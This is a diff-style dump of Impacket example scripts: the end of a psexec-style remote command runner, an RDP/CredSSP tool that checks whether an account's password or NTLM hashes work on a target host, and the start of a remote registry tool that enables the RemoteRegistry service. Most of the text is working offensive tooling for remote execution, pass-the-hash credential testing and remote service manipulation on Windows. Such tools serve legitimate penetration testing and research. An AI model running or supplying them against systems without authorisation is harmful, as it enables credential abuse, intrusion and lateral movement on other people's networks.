logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in remoteName:
|
||||
password = password + '@' + remoteName.rpartition('@')[0]
|
||||
remoteName = remoteName.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = remoteName
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
command = ' '.join(options.command)
|
||||
if command == ' ':
|
||||
command = 'cmd.exe'
|
||||
|
||||
executer = PSEXEC(command, options.path, options.file, options.c, int(options.port), username, password, domain, options.hashes,
|
||||
options.aesKey, options.k, options.dc_ip)
|
||||
executer.run(remoteName, options.target_ip)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,577 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation
|
||||
# just to reach CredSSP auth. This example test whether
|
||||
# an account is valid on the target host.
|
||||
#
|
||||
# ToDo:
|
||||
# [x] Manage to grab the server's SSL key so we can finalize the whole
|
||||
# authentication process (check [MS-CSSP] section 3.1.5)
|
||||
#
|
||||
|
||||
from struct import pack, unpack
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket.structure import Structure
|
||||
from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode
|
||||
|
||||
TDPU_CONNECTION_REQUEST = 0xe0
|
||||
TPDU_CONNECTION_CONFIRM = 0xd0
|
||||
TDPU_DATA = 0xf0
|
||||
TPDU_REJECT = 0x50
|
||||
TPDU_DATA_ACK = 0x60
|
||||
|
||||
# RDP_NEG_REQ constants
|
||||
TYPE_RDP_NEG_REQ = 1
|
||||
PROTOCOL_RDP = 0
|
||||
PROTOCOL_SSL = 1
|
||||
PROTOCOL_HYBRID = 2
|
||||
|
||||
# RDP_NEG_RSP constants
|
||||
TYPE_RDP_NEG_RSP = 2
|
||||
EXTENDED_CLIENT_DATA_SUPPORTED = 1
|
||||
DYNVC_GFX_PROTOCOL_SUPPORTED = 2
|
||||
|
||||
# RDP_NEG_FAILURE constants
|
||||
TYPE_RDP_NEG_FAILURE = 3
|
||||
SSL_REQUIRED_BY_SERVER = 1
|
||||
SSL_NOT_ALLOWED_BY_SERVER = 2
|
||||
SSL_CERT_NOT_ON_SERVER = 3
|
||||
INCONSISTENT_FLAGS = 4
|
||||
HYBRID_REQUIRED_BY_SERVER = 5
|
||||
SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6
|
||||
|
||||
class TPKT(Structure):
|
||||
commonHdr = (
|
||||
('Version','B=3'),
|
||||
('Reserved','B=0'),
|
||||
('Length','>H=len(TPDU)+4'),
|
||||
('_TPDU','_-TPDU','self["Length"]-4'),
|
||||
('TPDU',':=""'),
|
||||
)
|
||||
|
||||
class TPDU(Structure):
|
||||
commonHdr = (
|
||||
('LengthIndicator','B=len(VariablePart)+1'),
|
||||
('Code','B=0'),
|
||||
('VariablePart',':=""'),
|
||||
)
|
||||
|
||||
def __init__(self, data = None):
|
||||
Structure.__init__(self,data)
|
||||
self['VariablePart']=''
|
||||
|
||||
class CR_TPDU(Structure):
|
||||
commonHdr = (
|
||||
('DST-REF','<H=0'),
|
||||
('SRC-REF','<H=0'),
|
||||
('CLASS-OPTION','B=0'),
|
||||
('Type','B=0'),
|
||||
('Flags','B=0'),
|
||||
('Length','<H=8'),
|
||||
)
|
||||
|
||||
class DATA_TPDU(Structure):
|
||||
commonHdr = (
|
||||
('EOT','B=0x80'),
|
||||
('UserData',':=""'),
|
||||
)
|
||||
|
||||
def __init__(self, data = None):
|
||||
Structure.__init__(self,data)
|
||||
self['UserData'] =''
|
||||
|
||||
|
||||
class RDP_NEG_REQ(CR_TPDU):
|
||||
structure = (
|
||||
('requestedProtocols','<L'),
|
||||
)
|
||||
def __init__(self,data=None):
|
||||
CR_TPDU.__init__(self,data)
|
||||
if data is None:
|
||||
self['Type'] = TYPE_RDP_NEG_REQ
|
||||
|
||||
class RDP_NEG_RSP(CR_TPDU):
|
||||
structure = (
|
||||
('selectedProtocols','<L'),
|
||||
)
|
||||
|
||||
class RDP_NEG_FAILURE(CR_TPDU):
|
||||
structure = (
|
||||
('failureCode','<L'),
|
||||
)
|
||||
|
||||
class TSPasswordCreds(GSSAPI):
|
||||
# TSPasswordCreds ::= SEQUENCE {
|
||||
# domainName [0] OCTET STRING,
|
||||
# userName [1] OCTET STRING,
|
||||
# password [2] OCTET STRING
|
||||
# }
|
||||
def __init__(self, data=None):
|
||||
GSSAPI.__init__(self,data)
|
||||
del self['UUID']
|
||||
|
||||
def getData(self):
|
||||
ans = pack('B', ASN1_SEQUENCE)
|
||||
ans += asn1encode( pack('B', 0xa0) +
|
||||
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode( self['domainName'].encode('utf-16le'))) +
|
||||
pack('B', 0xa1) +
|
||||
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode( self['userName'].encode('utf-16le'))) +
|
||||
pack('B', 0xa2) +
|
||||
asn1encode( pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode( self['password'].encode('utf-16le'))) )
|
||||
return ans
|
||||
|
||||
class TSCredentials(GSSAPI):
|
||||
# TSCredentials ::= SEQUENCE {
|
||||
# credType [0] INTEGER,
|
||||
# credentials [1] OCTET STRING
|
||||
# }
|
||||
def __init__(self, data=None):
|
||||
GSSAPI.__init__(self,data)
|
||||
del self['UUID']
|
||||
|
||||
def getData(self):
|
||||
# Let's pack the credentials field
|
||||
credentials = pack('B',0xa1)
|
||||
credentials += asn1encode(pack('B',ASN1_OCTET_STRING) +
|
||||
asn1encode(self['credentials']))
|
||||
|
||||
ans = pack('B',ASN1_SEQUENCE)
|
||||
ans += asn1encode( pack('B', 0xa0) +
|
||||
asn1encode( pack('B', 0x02) +
|
||||
asn1encode( pack('B', self['credType']))) +
|
||||
credentials)
|
||||
return ans
|
||||
|
||||
class TSRequest(GSSAPI):
|
||||
# TSRequest ::= SEQUENCE {
|
||||
# version [0] INTEGER,
|
||||
# negoTokens [1] NegoData OPTIONAL,
|
||||
# authInfo [2] OCTET STRING OPTIONAL,
|
||||
# pubKeyAuth [3] OCTET STRING OPTIONAL,
|
||||
#}
|
||||
#
|
||||
# NegoData ::= SEQUENCE OF SEQUENCE {
|
||||
# negoToken [0] OCTET STRING
|
||||
#}
|
||||
#
|
||||
|
||||
def __init__(self, data=None):
|
||||
GSSAPI.__init__(self,data)
|
||||
del self['UUID']
|
||||
|
||||
def fromString(self, data = None):
|
||||
next_byte = unpack('B',data[:1])[0]
|
||||
if next_byte != ASN1_SEQUENCE:
|
||||
raise Exception('SEQUENCE expected! (%x)' % next_byte)
|
||||
data = data[1:]
|
||||
decode_data, total_bytes = asn1decode(data)
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != 0xa0:
|
||||
raise Exception('0xa0 tag not found %x' % next_byte)
|
||||
decode_data = decode_data[1:]
|
||||
next_bytes, total_bytes = asn1decode(decode_data)
|
||||
# The INTEGER tag must be here
|
||||
if unpack('B',next_bytes[0])[0] != 0x02:
|
||||
raise Exception('INTEGER tag not found %r' % next_byte)
|
||||
next_byte, _ = asn1decode(next_bytes[1:])
|
||||
self['Version'] = unpack('B',next_byte)[0]
|
||||
decode_data = decode_data[total_bytes:]
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte == 0xa1:
|
||||
# We found the negoData token
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_SEQUENCE:
|
||||
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_SEQUENCE:
|
||||
raise Exception('ASN1_SEQUENCE tag not found %r' % next_byte)
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != 0xa0:
|
||||
raise Exception('0xa0 tag not found %r' % next_byte)
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_OCTET_STRING:
|
||||
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||
# the rest should be the data
|
||||
self['NegoData'] = decode_data2
|
||||
decode_data = decode_data[total_bytes+1:]
|
||||
|
||||
if next_byte == 0xa2:
|
||||
# ToDo: Check all this
|
||||
# We found the authInfo token
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_OCTET_STRING:
|
||||
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||
self['authInfo'] = decode_data2
|
||||
decode_data = decode_data[total_bytes+1:]
|
||||
|
||||
if next_byte == 0xa3:
|
||||
# ToDo: Check all this
|
||||
# We found the pubKeyAuth token
|
||||
decode_data, total_bytes = asn1decode(decode_data[1:])
|
||||
next_byte = unpack('B',decode_data[:1])[0]
|
||||
if next_byte != ASN1_OCTET_STRING:
|
||||
raise Exception('ASN1_OCTET_STRING tag not found %r' % next_byte)
|
||||
decode_data2, total_bytes = asn1decode(decode_data[1:])
|
||||
self['pubKeyAuth'] = decode_data2
|
||||
|
||||
def getData(self):
|
||||
# Do we have pubKeyAuth?
|
||||
if self.fields.has_key('pubKeyAuth'):
|
||||
pubKeyAuth = pack('B',0xa3)
|
||||
pubKeyAuth += asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode(self['pubKeyAuth']))
|
||||
else:
|
||||
pubKeyAuth = ''
|
||||
|
||||
if self.fields.has_key('authInfo'):
|
||||
authInfo = pack('B',0xa2)
|
||||
authInfo+= asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode(self['authInfo']))
|
||||
else:
|
||||
authInfo = ''
|
||||
|
||||
if self.fields.has_key('NegoData'):
|
||||
negoData = pack('B',0xa1)
|
||||
negoData += asn1encode(pack('B', ASN1_SEQUENCE) +
|
||||
asn1encode(pack('B', ASN1_SEQUENCE) +
|
||||
asn1encode(pack('B', 0xa0) +
|
||||
asn1encode(pack('B', ASN1_OCTET_STRING) +
|
||||
asn1encode(self['NegoData'])))))
|
||||
else:
|
||||
negoData = ''
|
||||
ans = pack('B', ASN1_SEQUENCE)
|
||||
ans += asn1encode(pack('B',0xa0) +
|
||||
asn1encode(pack('B',0x02) + asn1encode(pack('B',0x02))) +
|
||||
negoData + authInfo + pubKeyAuth)
|
||||
|
||||
return ans
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
import socket
|
||||
import argparse
|
||||
import sys
|
||||
import logging
|
||||
from binascii import a2b_hex
|
||||
from Crypto.Cipher import ARC4
|
||||
from impacket import ntlm, version
|
||||
try:
|
||||
import OpenSSL
|
||||
from OpenSSL import SSL, crypto
|
||||
except:
|
||||
logging.critical("pyOpenSSL is not installed, can't continue")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
class SPNEGOCipher:
|
||||
def __init__(self, flags, randomSessionKey):
|
||||
self.__flags = flags
|
||||
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||
self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
|
||||
self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
|
||||
self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
|
||||
self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
|
||||
# Preparing the keys handle states
|
||||
cipher3 = ARC4.new(self.__clientSealingKey)
|
||||
self.__clientSealingHandle = cipher3.encrypt
|
||||
cipher4 = ARC4.new(self.__serverSealingKey)
|
||||
self.__serverSealingHandle = cipher4.encrypt
|
||||
else:
|
||||
# Same key for everything
|
||||
self.__clientSigningKey = randomSessionKey
|
||||
self.__serverSigningKey = randomSessionKey
|
||||
self.__clientSealingKey = randomSessionKey
|
||||
self.__clientSealingKey = randomSessionKey
|
||||
cipher = ARC4.new(self.__clientSigningKey)
|
||||
self.__clientSealingHandle = cipher.encrypt
|
||||
self.__serverSealingHandle = cipher.encrypt
|
||||
self.__sequence = 0
|
||||
|
||||
def encrypt(self, plain_data):
|
||||
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||
# When NTLM2 is on, we sign the whole pdu, but encrypt just
|
||||
# the data, not the dcerpc header. Weird..
|
||||
sealedMessage, signature = ntlm.SEAL(self.__flags,
|
||||
self.__clientSigningKey,
|
||||
self.__clientSealingKey,
|
||||
plain_data,
|
||||
plain_data,
|
||||
self.__sequence,
|
||||
self.__clientSealingHandle)
|
||||
else:
|
||||
sealedMessage, signature = ntlm.SEAL(self.__flags,
|
||||
self.__clientSigningKey,
|
||||
self.__clientSealingKey,
|
||||
plain_data,
|
||||
plain_data,
|
||||
self.__sequence,
|
||||
self.__clientSealingHandle)
|
||||
|
||||
self.__sequence += 1
|
||||
|
||||
return signature, sealedMessage
|
||||
|
||||
def decrypt(self, answer):
|
||||
if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
|
||||
# TODO: FIX THIS, it's not calculating the signature well
|
||||
# Since I'm not testing it we don't care... yet
|
||||
answer, signature = ntlm.SEAL(self.__flags,
|
||||
self.__serverSigningKey,
|
||||
self.__serverSealingKey,
|
||||
answer,
|
||||
answer,
|
||||
self.__sequence,
|
||||
self.__serverSealingHandle)
|
||||
else:
|
||||
answer, signature = ntlm.SEAL(self.__flags,
|
||||
self.__serverSigningKey,
|
||||
self.__serverSealingKey,
|
||||
answer,
|
||||
answer,
|
||||
self.__sequence,
|
||||
self.__serverSealingHandle)
|
||||
self.__sequence += 1
|
||||
|
||||
return signature, answer
|
||||
|
||||
def check_rdp(host, username, password, domain, hashes = None):
|
||||
|
||||
if hashes is not None:
|
||||
lmhash, nthash = hashes.split(':')
|
||||
lmhash = a2b_hex(lmhash)
|
||||
nthash = a2b_hex(nthash)
|
||||
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
tpkt = TPKT()
|
||||
tpdu = TPDU()
|
||||
rdp_neg = RDP_NEG_REQ()
|
||||
rdp_neg['Type'] = TYPE_RDP_NEG_REQ
|
||||
rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
|
||||
tpdu['VariablePart'] = str(rdp_neg)
|
||||
tpdu['Code'] = TDPU_CONNECTION_REQUEST
|
||||
tpkt['TPDU'] = str(tpdu)
|
||||
|
||||
s = socket.socket()
|
||||
s.connect((host,3389))
|
||||
s.sendall(str(tpkt))
|
||||
pkt = s.recv(8192)
|
||||
tpkt.fromString(pkt)
|
||||
tpdu.fromString(tpkt['TPDU'])
|
||||
cr_tpdu = CR_TPDU(tpdu['VariablePart'])
|
||||
if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
|
||||
rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
|
||||
rdp_failure.dump()
|
||||
logging.error("Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials")
|
||||
return
|
||||
else:
|
||||
rdp_neg.fromString(tpdu['VariablePart'])
|
||||
|
||||
# Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation
|
||||
|
||||
# 1. The CredSSP client and CredSSP server first complete the TLS handshake,
|
||||
# as specified in [RFC2246]. After the handshake is complete, all subsequent
|
||||
# CredSSP Protocol messages are encrypted by the TLS channel.
|
||||
# The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
|
||||
# handshake, the CredSSP server does not request the client's X.509 certificate
|
||||
# (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
|
||||
# the client to have a commonly trusted certification authority root with the
|
||||
# CredSSP server. Thus, the CredSSP server MAY use, for example,
|
||||
# a self-signed X.509 certificate.
|
||||
|
||||
# Switching to TLS now
|
||||
ctx = SSL.Context(SSL.TLSv1_METHOD)
|
||||
ctx.set_cipher_list('RC4')
|
||||
tls = SSL.Connection(ctx,s)
|
||||
tls.set_connect_state()
|
||||
tls.do_handshake()
|
||||
|
||||
# If you want to use Python internal ssl, uncomment this and comment
|
||||
# the previous lines
|
||||
#tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')
|
||||
|
||||
# 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
|
||||
# and server completes mutual authentication and establishes an encryption key
|
||||
# that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
|
||||
# All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
|
||||
# the calling application (the CredSSP client and CredSSP server).
|
||||
# The wire protocol for SPNEGO is specified in [MS-SPNG].
|
||||
# The SPNEGO tokens exchanged between the client and the server are encapsulated
|
||||
# in the negoTokens field of the TSRequest structure. Both the client and the
|
||||
# server use this structure as many times as necessary to complete the SPNEGO
|
||||
# exchange.<9>
|
||||
#
|
||||
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
|
||||
# from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
|
||||
# field is omitted by the client unless the client is sending the last SPNEGO token.
|
||||
# If the client is sending the last SPNEGO token, the TSRequest structure MUST have
|
||||
# both the negoToken and the pubKeyAuth fields filled in.
|
||||
|
||||
# NTLMSSP stuff
|
||||
auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True)
|
||||
|
||||
ts_request = TSRequest()
|
||||
ts_request['NegoData'] = str(auth)
|
||||
|
||||
tls.send(ts_request.getData())
|
||||
buff = tls.recv(4096)
|
||||
ts_request.fromString(buff)
|
||||
|
||||
|
||||
# 3. The client encrypts the public key it received from the server (contained
|
||||
# in the X.509 certificate) in the TLS handshake from step 1, by using the
|
||||
# confidentiality support of SPNEGO. The public key that is encrypted is the
|
||||
# ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
|
||||
# certificate, as specified in [RFC3280] section 4.1. The encrypted key is
|
||||
# encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
|
||||
# the TLS channel to the server.
|
||||
#
|
||||
# Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
|
||||
# from the TSRequest structure; the client MUST send its last SPNEGO token to the
|
||||
# server in the negoTokens field (see step 2) along with the encrypted public key
|
||||
# in the pubKeyAuth field.
|
||||
|
||||
# Last SPNEGO token calculation
|
||||
#ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
|
||||
type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True)
|
||||
|
||||
# Get server public key
|
||||
server_cert = tls.get_peer_certificate()
|
||||
pkey = server_cert.get_pubkey()
|
||||
dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)
|
||||
|
||||
# Fix up due to PyOpenSSL lack for exporting public keys
|
||||
dump = dump[7:]
|
||||
dump = '\x30'+ asn1encode(dump)
|
||||
|
||||
cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
|
||||
signature, cripted_key = cipher.encrypt(dump)
|
||||
ts_request['NegoData'] = str(type3)
|
||||
ts_request['pubKeyAuth'] = str(signature) + cripted_key
|
||||
|
||||
try:
|
||||
# Sending the Type 3 NTLM blob
|
||||
tls.send(ts_request.getData())
|
||||
# The other end is waiting for the pubKeyAuth field, but looks like it's
|
||||
# not needed to check whether authentication worked.
|
||||
# If auth is unsuccessful, it throws an exception with the previous send().
|
||||
# If auth is successful, the server waits for the pubKeyAuth and doesn't answer
|
||||
# anything. So, I'm sending garbage so the server returns an error.
|
||||
# Luckily, it's a different error so we can determine whether or not auth worked ;)
|
||||
buff = tls.recv(1024)
|
||||
except Exception, err:
|
||||
if str(err).find("denied") > 0:
|
||||
logging.error("Access Denied")
|
||||
else:
|
||||
logging.error(err)
|
||||
return
|
||||
|
||||
# 4. After the server receives the public key in step 3, it first verifies that
|
||||
# it has the same public key that it used as part of the TLS handshake in step 1.
|
||||
# The server then adds 1 to the first byte representing the public key (the ASN.1
|
||||
# structure corresponding to the SubjectPublicKey field, as described in step 3)
|
||||
# and encrypts the binary result by using the SPNEGO encryption services.
|
||||
# Due to the addition of 1 to the binary data, and encryption of the data as a binary
|
||||
# structure, the resulting value may not be valid ASN.1-encoded values.
|
||||
# The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
|
||||
# structure and is sent over the encrypted TLS channel to the client.
|
||||
# The addition of 1 to the first byte of the public key is performed so that the
|
||||
# client-generated pubKeyAuth message cannot be replayed back to the client by an
|
||||
# attacker.
|
||||
#
|
||||
# Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
|
||||
# fields are omitted from the TSRequest structure.
|
||||
|
||||
ts_request = TSRequest(buff)
|
||||
|
||||
# Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
|
||||
signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])
|
||||
|
||||
# 5. After the client successfully verifies server authenticity by performing a
|
||||
# binary comparison of the data from step 4 to that of the data representing
|
||||
# the public key from the server's X.509 certificate (as specified in [RFC3280],
|
||||
# section 4.1), it encrypts the user's credentials (either password or smart card
|
||||
# PIN) by using the SPNEGO encryption services. The resulting value is
|
||||
# encapsulated in the authInfo field of the TSRequest structure and sent over
|
||||
# the encrypted TLS channel to the server.
|
||||
# The TSCredentials structure within the authInfo field of the TSRequest
|
||||
# structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
|
||||
# but MUST NOT contain both.
|
||||
#
|
||||
# Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
|
||||
# fields are omitted from the TSRequest structure.
|
||||
tsp = TSPasswordCreds()
|
||||
tsp['domainName'] = domain
|
||||
tsp['userName'] = username
|
||||
tsp['password'] = password
|
||||
tsc = TSCredentials()
|
||||
tsc['credType'] = 1 # TSPasswordCreds
|
||||
tsc['credentials'] = tsp.getData()
|
||||
|
||||
signature, cripted_creds = cipher.encrypt(tsc.getData())
|
||||
ts_request = TSRequest()
|
||||
ts_request['authInfo'] = str(signature) + cripted_creds
|
||||
tls.send(ts_request.getData())
|
||||
tls.close()
|
||||
logging.info("Access Granted")
|
||||
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Test whether an account is valid on the target "
|
||||
"host using the RDP protocol.")
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
import re
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
check_rdp(address, username, password, domain, options.hashes)
|
||||
@@ -0,0 +1,428 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: Remote registry manipulation tool.
|
||||
# The idea is to provide similar functionality as the REG.EXE Windows utility.
|
||||
#
|
||||
# e.g:
|
||||
# ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s
|
||||
#
|
||||
# Author:
|
||||
# Manuel Porto (@manuporto)
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Reference for: [MS-RRP]
|
||||
#
|
||||
import argparse
|
||||
import codecs
|
||||
import logging
|
||||
import sys
|
||||
import time
|
||||
from struct import unpack
|
||||
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt
|
||||
from impacket.examples import logger
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
||||
from impacket.winregistry import hexdump
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
class RemoteOperations:
|
||||
def __init__(self, smbConnection, doKerberos, kdcHost=None):
|
||||
self.__smbConnection = smbConnection
|
||||
self.__smbConnection.setTimeout(5 * 60)
|
||||
self.__serviceName = 'RemoteRegistry'
|
||||
self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
|
||||
self.__rrp = None
|
||||
self.__regHandle = None
|
||||
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
|
||||
self.__disabled = False
|
||||
self.__shouldStop = False
|
||||
self.__started = False
|
||||
|
||||
self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
|
||||
self.__scmr = None
|
||||
|
||||
def getRRP(self):
|
||||
return self.__rrp
|
||||
|
||||
def __connectSvcCtl(self):
|
||||
rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
|
||||
rpc.set_smb_connection(self.__smbConnection)
|
||||
self.__scmr = rpc.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
|
||||
def connectWinReg(self):
|
||||
rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
|
||||
rpc.set_smb_connection(self.__smbConnection)
|
||||
self.__rrp = rpc.get_dce_rpc()
|
||||
self.__rrp.connect()
|
||||
self.__rrp.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
def __checkServiceStatus(self):
|
||||
# Open SC Manager
|
||||
ans = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scManagerHandle = ans['lpScHandle']
|
||||
# Now let's open the service
|
||||
ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
|
||||
self.__serviceHandle = ans['lpServiceHandle']
|
||||
# Let's check its status
|
||||
ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
|
||||
if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
|
||||
logging.info('Service %s is in stopped state' % self.__serviceName)
|
||||
self.__shouldStop = True
|
||||
self.__started = False
|
||||
elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
|
||||
logging.debug('Service %s is already running' % self.__serviceName)
|
||||
self.__shouldStop = False
|
||||
self.__started = True
|
||||
else:
|
||||
raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])
|
||||
|
||||
# Let's check its configuration if service is stopped, maybe it's disabled :s
|
||||
if self.__started is False:
|
||||
ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle)
|
||||
if ans['lpServiceConfig']['dwStartType'] == 0x4:
|
||||
logging.info('Service %s is disabled, enabling it' % self.__serviceName)
|
||||
self.__disabled = True
|
||||
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x3)
|
||||
logging.info('Starting service %s' % self.__serviceName)
|
||||
scmr.hRStartServiceW(self.__scmr, self.__serviceHandle)
|
||||
time.sleep(1)
|
||||
|
||||
def enableRegistry(self):
|
||||
self.__connectSvcCtl()
|
||||
self.__checkServiceStatus()
|
||||
self.connectWinReg()
|
||||
|
||||
def __restore(self):
|
||||
# First of all stop the service if it was originally stopped
|
||||
if self.__shouldStop is True:
|
||||
logging.info('Stopping service %s' % self.__serviceName)
|
||||
scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
|
||||
if self.__disabled is True:
|
||||
logging.info('Restoring the disabled state for service %s' % self.__serviceName)
|
||||
scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4)
|
||||
|
||||
def finish(self):
|
||||
self.__restore()
|
||||
if self.__rrp is not None:
|
||||
self.__rrp.disconnect()
|
||||
if self.__scmr is not None:
|
||||
self.__scmr.disconnect()
|
||||
|
||||
|
||||
class RegHandler:
|
||||
def __init__(self, username, password, domain, options):
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__options = options
|
||||
